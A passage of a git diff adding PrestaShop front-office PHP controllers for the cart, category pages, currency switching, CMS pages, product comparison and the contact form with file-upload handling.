{ + preg_match('!http(s?)://(.*)/(.*)!', $_SERVER['HTTP_REFERER'], $regs); + if (isset($regs[3]) && !Configuration::get('PS_CART_REDIRECT')) + Tools::redirect($_SERVER['HTTP_REFERER']); + } + + Tools::redirect('index.php?controller=order&'.(isset($this->id_product) ? 'ipa='.$this->id_product : '')); + } + + } + elseif (!$this->isTokenValid()) + Tools::redirect('index.php'); + } + + /** + * This process delete a product from the cart + */ + protected function processDeleteProductInCart() + { + if ($this->context->cart->deleteProduct($this->id_product, $this->id_product_attribute, $this->customization_id, $this->id_address_delivery)) + { + if (!Cart::getNbProducts((int)($this->context->cart->id))) + { + $this->context->cart->setDeliveryOption(null); + $this->context->cart->gift = 0; + $this->context->cart->gift_message = ''; + $this->context->cart->update(); + } + } + $removed = CartRule::autoAddToCart(); + if (count($removed) && (int)Tools::getValue('allow_refresh')) + $this->ajax_refresh = true; + } + + protected function processChangeProductAddressDelivery() + { + if (!Configuration::get('PS_ALLOW_MULTISHIPPING')) + return; + + $old_id_address_delivery = (int)Tools::getValue('old_id_address_delivery'); + $new_id_address_delivery = (int)Tools::getValue('new_id_address_delivery'); + + if (!count(Carrier::getAvailableCarrierList(new Product($this->id_product), null, $new_id_address_delivery))) + die(Tools::jsonEncode(array( + 'hasErrors' => true, + 'error' => Tools::displayError('It is not possible to deliver this product to the selected address.', false), + ))); + + $this->context->cart->setProductAddressDelivery( + $this->id_product, + $this->id_product_attribute, + $old_id_address_delivery, + $new_id_address_delivery); + } + + protected function processAllowSeperatedPackage() + { + if (!Configuration::get('PS_SHIP_WHEN_AVAILABLE')) + return; + + if (Tools::getValue('value') === false) + die('{"error":true, "error_message": "No value setted"}'); + + $this->context->cart->allow_seperated_package = (boolean)Tools::getValue('value'); + $this->context->cart->update(); + die('{"error":false}'); + } + + protected function processDuplicateProduct() + { + if (!Configuration::get('PS_ALLOW_MULTISHIPPING')) + return; + + if (!$this->context->cart->duplicateProduct( + $this->id_product, + $this->id_product_attribute, + $this->id_address_delivery, + (int)Tools::getValue('new_id_address_delivery') + )) + { + //$error_message = $this->l('Error durring product duplication'); + // For the moment no translations + $error_message = 'Error durring product duplication'; + } + } + + /** + * This process add or update a product in the cart + */ + protected function processChangeProductInCart() + { + $mode = (Tools::getIsset('update') && $this->id_product) ? 'update' : 'add'; + + if ($this->qty == 0) + $this->errors[] = Tools::displayError('Null quantity.'); + else if (!$this->id_product) + $this->errors[] = Tools::displayError('Product not found'); + + $product = new Product($this->id_product, true, $this->context->language->id); + if (!$product->id || !$product->active) + { + $this->errors[] = Tools::displayError('This product is no longer available.', false); + return; + } + + // Check product quantity availability + if ($this->id_product_attribute) + { + if (!Product::isAvailableWhenOutOfStock($product->out_of_stock) && !Attribute::checkAttributeQty($this->id_product_attribute, $this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + } + else if ($product->hasAttributes()) + { + $minimumQuantity = ($product->out_of_stock == 2) ? !Configuration::get('PS_ORDER_OUT_OF_STOCK') : !$product->out_of_stock; + $this->id_product_attribute = Product::getDefaultAttribute($product->id, $minimumQuantity); + // @todo do something better than a redirect admin !! + if (!$this->id_product_attribute) + Tools::redirectAdmin($this->context->link->getProductLink($product)); + else if (!Product::isAvailableWhenOutOfStock($product->out_of_stock) && !Attribute::checkAttributeQty($this->id_product_attribute, $this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + } + else if (!$product->checkQty($this->qty)) + $this->errors[] = Tools::displayError('There isn\'t enough product in stock.'); + + // If no errors, process product addition + if (!$this->errors && $mode == 'add') + { + // Add cart if no cart found + if (!$this->context->cart->id) + { + if (Context::getContext()->cookie->id_guest) + { + $guest = new Guest(Context::getContext()->cookie->id_guest); + $this->context->cart->mobile_theme = $guest->mobile_theme; + } + $this->context->cart->add(); + if ($this->context->cart->id) + $this->context->cookie->id_cart = (int)$this->context->cart->id; + } + + // Check customizable fields + if (!$product->hasAllRequiredCustomizableFields() && !$this->customization_id) + $this->errors[] = Tools::displayError('Please fill in all of the required fields, and then save your customizations.'); + + if (!$this->errors) + { + $cart_rules = $this->context->cart->getCartRules(); + $update_quantity = $this->context->cart->updateQty($this->qty, $this->id_product, $this->id_product_attribute, $this->customization_id, Tools::getValue('op', 'up'), $this->id_address_delivery); + if ($update_quantity < 0) + { + // If product has attribute, minimal quantity is set with minimal quantity of attribute + $minimal_quantity = ($this->id_product_attribute) ? Attribute::getAttributeMinimalQty($this->id_product_attribute) : $product->minimal_quantity; + $this->errors[] = sprintf(Tools::displayError('You must add %d minimum quantity', false), $minimal_quantity); + } + elseif (!$update_quantity) + $this->errors[] = Tools::displayError('You already have the maximum quantity available for this product.', false); + elseif ((int)Tools::getValue('allow_refresh')) + { + // If the cart rules has changed, we need to refresh the whole cart + $cart_rules2 = $this->context->cart->getCartRules(); + if (count($cart_rules2) != count($cart_rules)) + $this->ajax_refresh = true; + else + { + $rule_list = array(); + foreach ($cart_rules2 as $rule) + $rule_list[] = $rule['id_cart_rule']; + foreach ($cart_rules as $rule) + if (!in_array($rule['id_cart_rule'], $rule_list)) + { + $this->ajax_refresh = true; + break; + } + } + } + } + } + + $removed = CartRule::autoRemoveFromCart(); + CartRule::autoAddToCart(); + if (count($removed) && (int)Tools::getValue('allow_refresh')) + $this->ajax_refresh = true; + } + + /** + * Remove discounts on cart + */ + protected function processRemoveDiscounts() + { + Tools::displayAsDeprecated(); + $this->errors = array_merge($this->errors, CartRule::autoRemoveFromCart()); + } + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->setTemplate(_PS_THEME_DIR_.'errors.tpl'); + if (!$this->ajax) + parent::initContent(); + } + + /** + * Display ajax content (this function is called instead of classic display, in ajax mode) + */ + public function displayAjax() + { + if ($this->errors) + die(Tools::jsonEncode(array('hasError' => true, 'errors' => $this->errors))); + if ($this->ajax_refresh) + die(Tools::jsonEncode(array('refresh' => true))); + + if (Tools::getIsset('summary')) + { + $result = array(); + if (Configuration::get('PS_ORDER_PROCESS_TYPE') == 1) + { + $groups = (Validate::isLoadedObject($this->context->customer)) ? $this->context->customer->getGroups() : array(1); + if ($this->context->cart->id_address_delivery) + $deliveryAddress = new Address($this->context->cart->id_address_delivery); + $id_country = (isset($deliveryAddress) && $deliveryAddress->id) ? $deliveryAddress->id_country : Configuration::get('PS_COUNTRY_DEFAULT'); + + Cart::addExtraCarriers($result); + } + $result['summary'] = $this->context->cart->getSummaryDetails(null, true); + $result['customizedDatas'] = Product::getAllCustomizedDatas($this->context->cart->id, null, true); + $result['HOOK_SHOPPING_CART'] = Hook::exec('displayShoppingCartFooter', $result['summary']); + $result['HOOK_SHOPPING_CART_EXTRA'] = Hook::exec('displayShoppingCart', $result['summary']); + + foreach ($result['summary']['products'] as $key => &$product) + { + $product['quantity_without_customization'] = $product['quantity']; + if ($result['customizedDatas'] && isset($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']])) + { + foreach ($result['customizedDatas'][(int)$product['id_product']][(int)$product['id_product_attribute']] as $addresses) + foreach ($addresses as $customization) + $product['quantity_without_customization'] -= (int)$customization['quantity']; + } + $product['price_without_quantity_discount'] = Product::getPriceStatic( + $product['id_product'], + !Product::getTaxCalculationMethod(), + $product['id_product_attribute'], + 6, + null, + false, + false + ); + } + if ($result['customizedDatas']) + Product::addCustomizationPrice($result['summary']['products'], $result['customizedDatas']); + + die(Tools::jsonEncode($result)); + } + // @todo create a hook + elseif (file_exists(_PS_MODULE_DIR_.'/blockcart/blockcart-ajax.php')) + require_once(_PS_MODULE_DIR_.'/blockcart/blockcart-ajax.php'); + } +} diff --git a/controllers/front/CategoryController.php b/controllers/front/CategoryController.php new file mode 100755 index 0000000..33dfc3b --- /dev/null +++ b/controllers/front/CategoryController.php @@ -0,0 +1,209 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CategoryControllerCore extends FrontController +{ + public $php_self = 'category'; + protected $category; + public $customer_access = true; + + /** + * Set default medias for this controller + */ + public function setMedia() + { + parent::setMedia(); + + if ($this->context->getMobileDevice() == false) + { + //TODO : check why cluetip css is include without js file + $this->addCSS(array( + _THEME_CSS_DIR_.'scenes.css' => 'all', + _THEME_CSS_DIR_.'category.css' => 'all', + _THEME_CSS_DIR_.'product_list.css' => 'all', + )); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM') > 0) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + } + + public function canonicalRedirection($canonicalURL = '') + { + if (!Validate::isLoadedObject($this->category) || !$this->category->inShop() || !$this->category->isAssociatedToShop()) + { + $this->redirect_after = '404'; + $this->redirect(); + } + if (!Tools::getValue('noredirect') && Validate::isLoadedObject($this->category)) + parent::canonicalRedirection($this->context->link->getCategoryLink($this->category)); + } + + /** + * Initialize category controller + * @see FrontController::init() + */ + public function init() + { + // Get category ID + $id_category = (int)Tools::getValue('id_category'); + if (!$id_category || !Validate::isUnsignedId($id_category)) + $this->errors[] = Tools::displayError('Missing category ID'); + + // Instantiate category + $this->category = new Category($id_category, $this->context->language->id); + + parent::init(); + //check if the category is active and return 404 error if is disable. + if (!$this->category->active) + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + } + //check if category can be accessible by current customer and return 403 if not + if (!$this->category->checkAccess($this->context->customer->id)) + { + header('HTTP/1.1 403 Forbidden'); + header('Status: 403 Forbidden'); + $this->errors[] = Tools::displayError('You do not have access to this category.'); + $this->customer_access = false; + } + } + + public function initContent() + { + parent::initContent(); + + $this->setTemplate(_PS_THEME_DIR_.'category.tpl'); + + if (!$this->customer_access) + return; + + if (isset($this->context->cookie->id_compare)) + $this->context->smarty->assign('compareProducts', CompareProduct::getCompareProducts((int)$this->context->cookie->id_compare)); + + $this->productSort(); // Product sort must be called before assignProductList() + + $this->assignScenes(); + $this->assignSubcategories(); + if ($this->category->id != 1) + $this->assignProductList(); + + $this->context->smarty->assign(array( + 'category' => $this->category, + 'products' => (isset($this->cat_products) && $this->cat_products) ? $this->cat_products : null, + 'id_category' => (int)$this->category->id, + 'id_category_parent' => (int)$this->category->id_parent, + 'return_category_name' => Tools::safeOutput($this->category->name), + 'path' => Tools::getPath($this->category->id), + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'categorySize' => Image::getSize(ImageType::getFormatedName('category')), + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'thumbSceneSize' => Image::getSize(ImageType::getFormatedName('m_scene')), + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'allow_oosp' => (int)Configuration::get('PS_ORDER_OUT_OF_STOCK'), + 'comparator_max_item' => (int)Configuration::get('PS_COMPARATOR_MAX_ITEM'), + 'suppliers' => Supplier::getSuppliers() + )); + } + + /** + * Assign scenes template vars + */ + protected function assignScenes() + { + // Scenes (could be externalised to another controler if you need them) + $scenes = Scene::getScenes($this->category->id, $this->context->language->id, true, false); + $this->context->smarty->assign('scenes', $scenes); + + // Scenes images formats + if ($scenes && ($sceneImageTypes = ImageType::getImagesTypes('scenes'))) + { + foreach ($sceneImageTypes as $sceneImageType) + { + if ($sceneImageType['name'] == ImageType::getFormatedName('m_scene')) + $thumbSceneImageType = $sceneImageType; + elseif ($sceneImageType['name'] == ImageType::getFormatedName('scene')) + $largeSceneImageType = $sceneImageType; + } + + $this->context->smarty->assign(array( + 'thumbSceneImageType' => isset($thumbSceneImageType) ? $thumbSceneImageType : null, + 'largeSceneImageType' => isset($largeSceneImageType) ? $largeSceneImageType : null, + )); + } + } + + /** + * Assign sub categories templates vars + */ + protected function assignSubcategories() + { + if ($subCategories = $this->category->getSubCategories($this->context->language->id)) + { + $this->context->smarty->assign(array( + 'subcategories' => $subCategories, + 'subcategories_nb_total' => count($subCategories), + 'subcategories_nb_half' => ceil(count($subCategories) / 2) + )); + } + } + + /** + * Assign list of products template vars + */ + public function assignProductList() + { + $hookExecuted = false; + Hook::exec('actionProductListOverride', array( + 'nbProducts' => &$this->nbProducts, + 'catProducts' => &$this->cat_products, + 'hookExecuted' => &$hookExecuted, + )); + + // The hook was not executed, standard working + if (!$hookExecuted) + { + $this->context->smarty->assign('categoryNameComplement', ''); + $this->nbProducts = $this->category->getProducts(null, null, null, $this->orderBy, $this->orderWay, true); + $this->pagination((int)$this->nbProducts); // Pagination must be call after "getProducts" + $this->cat_products = $this->category->getProducts($this->context->language->id, (int)$this->p, (int)$this->n, $this->orderBy, $this->orderWay); + } + // Hook executed, use the override + else + // Pagination must be call after "getProducts" + $this->pagination($this->nbProducts); + + foreach ($this->cat_products as &$product) + { + if ($product['id_product_attribute'] && isset($product['product_attribute_minimal_quantity'])) + $product['minimal_quantity'] = $product['product_attribute_minimal_quantity']; + } + + $this->context->smarty->assign('nb_products', $this->nbProducts); + } +} + diff --git a/controllers/front/ChangeCurrencyController.php b/controllers/front/ChangeCurrencyController.php new file mode 100755 index 0000000..beada9d --- /dev/null +++ b/controllers/front/ChangeCurrencyController.php @@ -0,0 +1,43 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ChangeCurrencyControllerCore extends FrontController +{ + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + $currency = new Currency((int)Tools::getValue('id_currency')); + if (Validate::isLoadedObject($currency) && !$currency->deleted) + { + $this->context->cookie->id_currency = (int)$currency->id; + die('1'); + } + die('0'); + } +} \ No newline at end of file diff --git a/controllers/front/CmsController.php b/controllers/front/CmsController.php new file mode 100755 index 0000000..75877f6 --- /dev/null +++ b/controllers/front/CmsController.php @@ -0,0 +1,125 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CmsControllerCore extends FrontController +{ + public $php_self = 'cms'; + public $assignCase; + public $cms; + public $cms_category; + + public function canonicalRedirection($canonicalURL = '') + { + if (Validate::isLoadedObject($this->cms) && ($canonicalURL = $this->context->link->getCMSLink($this->cms))) + parent::canonicalRedirection($canonicalURL); + else if (Validate::isLoadedObject($this->cms_category) && ($canonicalURL = $this->context->link->getCMSCategoryLink($this->cms_category))) + parent::canonicalRedirection($canonicalURL); + } + + /** + * Initialize cms controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if ($id_cms = (int)Tools::getValue('id_cms')) + $this->cms = new CMS($id_cms, $this->context->language->id); + else if ($id_cms_category = (int)Tools::getValue('id_cms_category')) + $this->cms_category = new CMSCategory($id_cms_category, $this->context->language->id); + + $this->canonicalRedirection(); + + // assignCase (1 = CMS page, 2 = CMS category) + if (Validate::isLoadedObject($this->cms)) + { + $adtoken = Tools::getAdminToken('AdminCmsContent'.(int)Tab::getIdFromClassName('AdminCmsContent').(int)Tools::getValue('id_employee')); + if (!$this->cms->isAssociatedToShop() || !$this->cms->active && Tools::getValue('adtoken') != $adtoken) + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + } + else + $this->assignCase = 1; + } + else if (Validate::isLoadedObject($this->cms_category)) + $this->assignCase = 2; + else + { + header('HTTP/1.1 404 Not Found'); + header('Status: 404 Not Found'); + } + } + + public function setMedia() + { + parent::setMedia(); + + if ($this->assignCase == 1) + $this->addJS(_THEME_JS_DIR_.'cms.js'); + + $this->addCSS(_THEME_CSS_DIR_.'cms.css'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $parent_cat = new CMSCategory(1, $this->context->language->id); + $this->context->smarty->assign('id_current_lang', $this->context->language->id); + $this->context->smarty->assign('home_title', $parent_cat->name); + $this->context->smarty->assign('cgv_id', Configuration::get('PS_CONDITIONS_CMS_ID')); + if (isset($this->cms->id_cms_category) && $this->cms->id_cms_category) + $path = Tools::getFullPath($this->cms->id_cms_category, $this->cms->meta_title, 'CMS'); + else if (isset($this->cms_category->meta_title)) + $path = Tools::getFullPath(1, $this->cms_category->meta_title, 'CMS'); + if ($this->assignCase == 1) + { + $this->context->smarty->assign(array( + 'cms' => $this->cms, + 'content_only' => (int)(Tools::getValue('content_only')), + 'path' => $path + )); + } + else if ($this->assignCase == 2) + { + $this->context->smarty->assign(array( + 'category' => $this->cms_category, //for backward compatibility + 'cms_category' => $this->cms_category, + 'sub_category' => $this->cms_category->getSubCategories($this->context->language->id), + 'cms_pages' => CMS::getCMSPages($this->context->language->id, (int)($this->cms_category->id) ), + 'path' => ($this->cms_category->id !== 1) ? Tools::getPath($this->cms_category->id, $this->cms_category->name, false, 'CMS') : '', + )); + } + + $this->setTemplate(_PS_THEME_DIR_.'cms.tpl'); + } +} diff --git a/controllers/front/CompareController.php b/controllers/front/CompareController.php new file mode 100755 index 0000000..410946a --- /dev/null +++ b/controllers/front/CompareController.php @@ -0,0 +1,152 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CompareControllerCore extends FrontController +{ + public $php_self = 'products-comparison'; + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'comparator.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM') > 0) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } + + /** + * Display ajax content (this function is called instead of classic display, in ajax mode) + */ + public function displayAjax() + { + // Add or remove product with Ajax + if (Tools::getValue('ajax') && Tools::getValue('id_product') && Tools::getValue('action')) + { + if (Tools::getValue('action') == 'add') + { + $id_compare = isset($this->context->cookie->id_compare) ? $this->context->cookie->id_compare: false; + if (CompareProduct::getNumberProducts($id_compare) < Configuration::get('PS_COMPARATOR_MAX_ITEM')) + CompareProduct::addCompareProduct($id_compare, (int)Tools::getValue('id_product')); + else + die('0'); + } + else if (Tools::getValue('action') == 'remove') + { + if (isset($this->context->cookie->id_compare)) + CompareProduct::removeCompareProduct((int)$this->context->cookie->id_compare, (int)Tools::getValue('id_product')); + else + die('0'); + } + else + die('0'); + + die('1'); + } + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + //Clean compare product table + CompareProduct::cleanCompareProducts('week'); + + $hasProduct = false; + + if (!Configuration::get('PS_COMPARATOR_MAX_ITEM')) + return Tools::redirect('index.php?controller=404'); + + if (($product_list = Tools::getValue('compare_product_list')) && ($postProducts = (isset($product_list) ? rtrim($product_list, '|') : ''))) + $ids = array_unique(explode('|', $postProducts)); + else if (isset($this->context->cookie->id_compare)) + $ids = CompareProduct::getCompareProducts($this->context->cookie->id_compare); + else + $ids = null; + + if ($ids) + { + if (count($ids) > 0) + { + if (count($ids) > Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $ids = array_slice($ids, 0, Configuration::get('PS_COMPARATOR_MAX_ITEM')); + + $listProducts = array(); + $listFeatures = array(); + + foreach ($ids as $k => &$id) + { + $curProduct = new Product((int)$id, true, $this->context->language->id); + if (!Validate::isLoadedObject($curProduct) || !$curProduct->active || !$curProduct->isAssociatedToShop()) + { + if (isset($this->context->cookie->id_compare)) + CompareProduct::removeCompareProduct($this->context->cookie->id_compare, $id); + unset($ids[$k]); + continue; + } + + foreach ($curProduct->getFrontFeatures($this->context->language->id) as $feature) + $listFeatures[$curProduct->id][$feature['id_feature']] = $feature['value']; + + $cover = Product::getCover((int)$id); + + $curProduct->id_image = Tools::htmlentitiesUTF8(Product::defineProductImage(array('id_image' => $cover['id_image'], 'id_product' => $id), $this->context->language->id)); + $curProduct->allow_oosp = Product::isAvailableWhenOutOfStock($curProduct->out_of_stock); + $listProducts[] = $curProduct; + } + + if (count($listProducts) > 0) + { + $width = 80 / count($listProducts); + + $hasProduct = true; + $ordered_features = Feature::getFeaturesForComparison($ids, $this->context->language->id); + $this->context->smarty->assign(array( + 'ordered_features' => $ordered_features, + 'product_features' => $listFeatures, + 'products' => $listProducts, + 'width' => $width, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')) + )); + $this->context->smarty->assign('HOOK_EXTRA_PRODUCT_COMPARISON', Hook::exec('displayProductComparison', array('list_ids_product' => $ids))); + } + else if (isset($this->context->cookie->id_compare)) + { + $object = new CompareProduct((int)$this->context->cookie->id_compare); + if (Validate::isLoadedObject($object)) + $object->delete(); + } + } + } + $this->context->smarty->assign('hasProduct', $hasProduct); + + $this->setTemplate(_PS_THEME_DIR_.'products-comparison.tpl'); + } + +} \ No newline at end of file diff --git a/controllers/front/ContactController.php b/controllers/front/ContactController.php new file mode 100755 index 0000000..424f768 --- /dev/null +++ b/controllers/front/ContactController.php @@ -0,0 +1,293 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ContactControllerCore extends FrontController +{ + public $php_self = 'contact'; + public $ssl = true; + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('submitMessage')) + { + + $fileAttachment = null; + if (isset($_FILES['fileUpload']['name']) && !empty($_FILES['fileUpload']['name']) && !empty($_FILES['fileUpload']['tmp_name'])) + { + $extension = array('.txt', '.rtf', '.doc', '.docx', '.pdf', '.zip', '.png', '.jpeg', '.gif', '.jpg'); + $filename = uniqid().substr($_FILES['fileUpload']['name'], -5); + $fileAttachment['content'] = file_get_contents($_FILES['fileUpload']['tmp_name']); + $fileAttachment['name'] = $_FILES['fileUpload']['name']; + $fileAttachment['mime'] = $_FILES['fileUpload']['type']; + } + $message = Tools::getValue('message'); // Html entities is not usefull, iscleanHtml check there is no bad html tags. + if (!($from = trim(Tools::getValue('from'))) || !Validate::isEmail($from)) + $this->errors[] = Tools::displayError('Invalid email address.'); + else if (!$message) + $this->errors[] = Tools::displayError('The message cannot be blank.'); + else if (!Validate::isCleanHtml($message)) + $this->errors[] = Tools::displayError('Invalid message'); + else if (!($id_contact = (int)(Tools::getValue('id_contact'))) || !(Validate::isLoadedObject($contact = new Contact($id_contact, $this->context->language->id)))) + $this->errors[] = Tools::displayError('Please select a subject from the list provided. '); + else if (!empty($_FILES['fileUpload']['name']) && $_FILES['fileUpload']['error'] != 0) + $this->errors[] = Tools::displayError('An error occurred during the file-upload process.'); + else if (!empty($_FILES['fileUpload']['name']) && !in_array(substr(Tools::strtolower($_FILES['fileUpload']['name']), -4), $extension) && !in_array(substr(Tools::strtolower($_FILES['fileUpload']['name']), -5), $extension)) + $this->errors[] = Tools::displayError('Bad file extension'); + else + { + $customer = $this->context->customer; + if (!$customer->id) + $customer->getByEmail($from); + + $contact = new Contact($id_contact, $this->context->language->id); + + if (!(( + ($id_customer_thread = (int)Tools::getValue('id_customer_thread')) + && (int)Db::getInstance()->getValue(' + SELECT cm.id_customer_thread FROM '._DB_PREFIX_.'customer_thread cm + WHERE cm.id_customer_thread = '.(int)$id_customer_thread.' AND cm.id_shop = '.(int)$this->context->shop->id.' AND token = \''.pSQL(Tools::getValue('token')).'\'') + ) || ( + $id_customer_thread = CustomerThread::getIdCustomerThreadByEmailAndIdOrder($from, (int)Tools::getValue('id_order')) + ))) + { + $fields = Db::getInstance()->executeS(' + SELECT cm.id_customer_thread, cm.id_contact, cm.id_customer, cm.id_order, cm.id_product, cm.email + FROM '._DB_PREFIX_.'customer_thread cm + WHERE email = \''.pSQL($from).'\' AND cm.id_shop = '.(int)$this->context->shop->id.' AND ('. + ($customer->id ? 'id_customer = '.(int)($customer->id).' OR ' : '').' + id_order = '.(int)(Tools::getValue('id_order')).')'); + $score = 0; + foreach ($fields as $key => $row) + { + $tmp = 0; + if ((int)$row['id_customer'] && $row['id_customer'] != $customer->id && $row['email'] != $from) + continue; + if ($row['id_order'] != 0 && Tools::getValue('id_order') != $row['id_order']) + continue; + if ($row['email'] == $from) + $tmp += 4; + if ($row['id_contact'] == $id_contact) + $tmp++; + if (Tools::getValue('id_product') != 0 && $row['id_product'] == Tools::getValue('id_product')) + $tmp += 2; + if ($tmp >= 5 && $tmp >= $score) + { + $score = $tmp; + $id_customer_thread = $row['id_customer_thread']; + } + } + } + $old_message = Db::getInstance()->getValue(' + SELECT cm.message FROM '._DB_PREFIX_.'customer_message cm + LEFT JOIN '._DB_PREFIX_.'customer_thread cc on (cm.id_customer_thread = cc.id_customer_thread) + WHERE cc.id_customer_thread = '.(int)($id_customer_thread).' AND cc.id_shop = '.(int)$this->context->shop->id.' + ORDER BY cm.date_add DESC'); + if ($old_message == $message) + { + $this->context->smarty->assign('alreadySent', 1); + $contact->email = ''; + $contact->customer_service = 0; + } + + if ($contact->customer_service) + { + if ((int)$id_customer_thread) + { + $ct = new CustomerThread($id_customer_thread); + $ct->status = 'open'; + $ct->id_lang = (int)$this->context->language->id; + $ct->id_contact = (int)($id_contact); + if ($id_order = (int)Tools::getValue('id_order')) + $ct->id_order = $id_order; + if ($id_product = (int)Tools::getValue('id_product')) + $ct->id_product = $id_product; + $ct->update(); + } + else + { + $ct = new CustomerThread(); + if (isset($customer->id)) + $ct->id_customer = (int)($customer->id); + $ct->id_shop = (int)$this->context->shop->id; + if ($id_order = (int)Tools::getValue('id_order')) + $ct->id_order = $id_order; + if ($id_product = (int)Tools::getValue('id_product')) + $ct->id_product = $id_product; + $ct->id_contact = (int)($id_contact); + $ct->id_lang = (int)$this->context->language->id; + $ct->email = $from; + $ct->status = 'open'; + $ct->token = Tools::passwdGen(12); + $ct->add(); + } + + if ($ct->id) + { + $cm = new CustomerMessage(); + $cm->id_customer_thread = $ct->id; + $cm->message = Tools::htmlentitiesUTF8($message); + if (isset($filename) && rename($_FILES['fileUpload']['tmp_name'], _PS_MODULE_DIR_.'../upload/'.$filename)) + $cm->file_name = $filename; + $cm->ip_address = ip2long($_SERVER['REMOTE_ADDR']); + $cm->user_agent = $_SERVER['HTTP_USER_AGENT']; + if (!$cm->add()) + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + + if (!count($this->errors)) + { + $var_list = array( + '{order_name}' => '-', + '{attached_file}' => '-', + '{message}' => Tools::nl2br(stripslashes($message)), + '{email}' => $from, + ); + + if (isset($filename)) + $var_list['{attached_file}'] = $_FILES['fileUpload']['name']; + + $id_order = (int)Tools::getValue('id_order'); + + if (isset($ct) && Validate::isLoadedObject($ct)) + { + if ($ct->id_order) + $id_order = $ct->id_order; + $subject = sprintf(Mail::l('Votre message a été correctement envoyé'), $ct->id, $ct->token); + } + else + $subject = Mail::l('Votre message a été correctement envoyé'); + + if ($id_order) + { + $order = new Order((int)$id_order); + $var_list['{order_name}'] = $order->getUniqReference(); + $var_list['{id_order}'] = $id_order; + } + + if (empty($contact->email)) + Mail::Send($this->context->language->id, 'contact_form', $subject, $var_list, $from, null, null, null, $fileAttachment); + else + { + if (!Mail::Send($this->context->language->id, 'contact', Mail::l('Message from contact form').' [no_sync]', + $var_list, $contact->email, $contact->name, $from, ($customer->id ? $customer->firstname.' '.$customer->lastname : ''), + $fileAttachment) || + !Mail::Send($this->context->language->id, 'contact_form', $subject, $var_list, $from, null, $contact->email, $contact->name, $fileAttachment)) + $this->errors[] = Tools::displayError('An error occurred while sending the message.'); + } + } + + if (count($this->errors) > 1) + array_unique($this->errors); + else + $this->context->smarty->assign('confirmation', 1); + } + } + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'contact-form.css'); + $this->addJS(_THEME_JS_DIR_.'contact-form.js'); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->assignOrderList(); + + $email = Tools::safeOutput(Tools::getValue('from', + ((isset($this->context->cookie) && isset($this->context->cookie->email) && Validate::isEmail($this->context->cookie->email)) ? $this->context->cookie->email : ''))); + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'email' => $email, + 'fileupload' => Configuration::get('PS_CUSTOMER_SERVICE_FILE_UPLOAD') + )); + + + if (($id_customer_thread = (int)Tools::getValue('id_customer_thread')) && $token = Tools::getValue('token')) + { + $customerThread = Db::getInstance()->getRow(' + SELECT cm.* + FROM '._DB_PREFIX_.'customer_thread cm + WHERE cm.id_customer_thread = '.(int)$id_customer_thread.' + AND cm.id_shop = '.(int)$this->context->shop->id.' + AND token = \''.pSQL($token).'\' + '); + $this->context->smarty->assign('customerThread', $customerThread); + } + + $this->context->smarty->assign(array( + 'contacts' => Contact::getContacts($this->context->language->id), + 'message' => html_entity_decode(Tools::getValue('message')) + )); + + $this->setTemplate(_PS_THEME_DIR_.'contact-form.tpl'); + } + + /** + * Assign template vars related to order list and product list ordered by the customer + */ + protected function assignOrderList() + { + if ($this->context->customer->isLogged()) + { + $this->context->smarty->assign('isLogged', 1); + + $products = array(); + $result = Db::getInstance()->executeS(' + SELECT id_order + FROM '._DB_PREFIX_.'orders + WHERE id_customer = '.(int)$this->context->customer->id.' ORDER BY date_add'); + $orders = array(); + foreach ($result as $row) + { + $order = new Order($row['id_order']); + $date = explode(' ', $order->date_add); + $tmp = $order->getProducts(); + foreach ($tmp as $key => $val) + $products[$row['id_order']][$val['product_id']] = array('value' => $val['product_id'], 'label' => $val['product_name']); + $orders[] = array('value' => $order->id, 'label' => $order->getUniqReference().' - '.Tools::displayDate($date[0], $this->context->language->id), 'selected' => (int)Tools::getValue('id_order') == $order->id); + } + + $this->context->smarty->assign('orderList', $orders); + $this->context->smarty->assign('orderedProductList', $products); + } + } +} + diff --git a/controllers/front/DesinscriptionController.php 